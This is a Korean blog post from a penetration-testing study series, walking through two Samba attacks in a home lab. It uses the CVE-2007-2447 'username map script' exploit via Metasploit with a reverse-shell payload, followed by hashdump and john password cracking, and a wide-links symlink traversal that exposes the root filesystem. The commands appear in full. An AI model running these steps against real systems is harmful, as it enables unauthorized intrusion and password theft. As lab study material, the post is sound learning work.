일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- 계측
- activity
- Kotlin
- LifeCycle
- 앱바
- intent
- TEST
- Navigation
- Dialog
- textview
- drift
- appbar
- data
- 안드로이드
- Coroutines
- tabbar
- Flutter
- binding
- android
- livedata
- CustomScrollView
- Compose
- viewmodel
- textfield
- scroll
- 테스트
- DART
- 앱
- ScrollView
- Button
- Today
- Total
Study Record
[모의해킹 시스템 취약점] Samba(CVE 2007-2477, 공유 설정 ) 본문
※ samba port : 137-139 , 445
Samba Arbitrary Command Execution (CVE 2007-2447)
1. 관리자의 잘못된 설정 + 버그가 존재하는 취약점
MS-RPC 기능을 사용하는 Samba 3.0.0 버전에서 3.0.25rc3 사이의 smbd는 원격 공격자가 (1)SamrChangePassword 함수와 관련된 쉘 메타문자를 사용하여 임의의 명령어를 실행할 수 있으며, "username map script" 옵션이 활성화 되어 있는 경우, 인증된 원격 사용자가 (2)원격프린터 및 (3)파일 공유 관리에 관련한 다른 MS-RPC 기능을 이용하여 쉘 메타 문자를 통한 명령 실행을 할 수 있다. 근본적인 원인은 smb.conf에 정의된 외부 스크립트를 호출할 때 MS-RPC 호출을 통해 제공되는 필터링되지 않은 사용자 입력을 /bin/sh에 전달하는 것이다.
2. 공격 대상 서버의 취약점 점검
# ls -al /etc/samba/scripts/mapusers.sh
-rwxr-xr-x 1 root root 0 2010-4-28 02:41 /etc/samba/scripts/mapusers.sh
# vi /etc/samba/smb.conf
username map script = /etc/sambba/scripts/mapusers.sh
: 이 스크립트를 사용할 때 임의의 프로그램을 사용할 수 있다.
# smbd --version
Version 3.0.20-Debian
: 취약한 버전을 사용하고 있다.
3. 공격 실습
☞ 공격 시나리오
Samba Arbitrary Command Execution (CVE 2007-2447) 를 통해 root 권한을 획득한 후 hashdump 를 사용하여 패스워크 크랙을 시도하여 사용자들의 패스워드를 알아낸다.
공격자(KaliLinux) : 192.168.10.50
공격 대상 : 192.168.10.134
[KaliLinux]
㉮ 공격대상 시스템 스캔한다.
# nmap -sV 192.168.10.134 -p 137-139,445
㉯ msfconsole 을 이용한 공격을 실행한다.
# msfconsole -q
msf > search samba
msf > use exploit/multi/sambba/usermap_script
msf > set RHOSTS 192.168.10.134
msf > set payload cmd/unix/reverse
msf > show options
msf > run
㉰ 다른 공격도 수행하기 위해 백그라운드로 현재 세션을 돌린다.
Ctrl + Z
msf > sessions -l
㉱ 해시덤프 공격을 수행한다. 여기서 세션은 이전 공격에서 얻었던 세션을 사용한다.
msf > use post/linux/gather/hashdump
msf > set SESSION 1
msf > run
㉲ 공격 결과 얻은 파일로 john CMD로 패스워드를 크랙한다.
# john --show /root/.msf4/loot/20211109102050_default_192.168.10.134_linux.hashes_920797.txt
패스워드 크랙이 완료되었다.
☞ 공격 대상 측 분석
# netstat -antup | grep EST
# ps -ef | grep 5577
# ps -ef | grep 4444
Samba 공유 설정 중 wide links 옵션 취약점
1. 관리자의 잘못된 설정
writable 파일 공유가 설정이 되면 wide links 옵션이 기본적으로 on이 된다. 이런 경우, 공유되지 않은 파일들에 백도어를 사용하여 접근이 가능하다.
# testparm -s
위의 그림에서 read only 가 No로 되어있으면 read/write 가 가능하다는 의미이고 guest ok 가 yes 이면 익명 사용자가 접근할 수 있다.
# testparm -s -v | grep link
위의 그림에서 wide links 와 follow symlinks 가 yes 로 되어있으면 심볼릭 링크를 생성하는 것이 가능하다.
2. 공격 실습
☞ 공격 시나리오
익명의 사용자가 wirteable 공유를 사용하여 root 파일시스템에 접근한다.
공격자(KaliLinux) : 192.168.10.50
공격자(Linux) : 192.168.10.200
공격 대상(meta) : 192.168.10.134
☞ 공격 실습
[KaliLinux]
㉮ 공격 대상 시스템에 samba 를 사용하는지 확인한다.
# nmap -sV -O -p 137-139,445 192.168.10.134
[Linux]
㉯ 공격 대상 시스템의 삼바 공유 설정을 확인한다. 결과 tmp 라는 곳에 익명으로 로그인을 할 수 있다고 나왔다.
# smbclient -L 192.168.10.134 -N
[KaliLinux]
㉰ msfconsle 을 이용하여 상대평 tmp 에 익명으로 접근하여 심볼릭 링크를 이용하여 root파일시스템에 접근하는 공격을 한다.
msf6 > search samba link
msf6 > use auxiliary/admin/smb/samba_symlink_traversal
msf6 > set RHOSTS 192.168.10.134
msf6 > set SMBSHARE tmp
msf6 > run
공격 결과 공격대상시스템의 tmp에 rootfs 라는 root filesystem에 접근할 수 있는 파일이 만들어졌다.
[Linux]
㉱ 직접 samba 에 접속하여 root filesystem 에 접근할 수 있는지 확인해본다.
# smbclient //192.168.10.134/tmp
[meta]
㉲ 공격 대상 시스템에서 rootfs 가 어떤 파일인지 확인해본다.
rootfs 는 "../../../../../../../..." 를 가르키는 심볼릭 링크 파일이다. 이런식으로 최상위인 /(root)까지 도달한다.
'모의해킹' 카테고리의 다른 글
[모의해킹 실습] Root SSH Key Crack(CVE 2008-0116) (0) | 2021.11.11 |
---|---|
[모의해킹 실습] Tomcat 취약점 (0) | 2021.11.10 |
[모의해킹 MSF] payload (0) | 2021.11.08 |
[모의해킹 시스템 취약점] NFS 전체 공유/vsftpd 백도어 (0) | 2021.11.08 |
[모의해킹 시스템 취약점] r-service (0) | 2021.11.08 |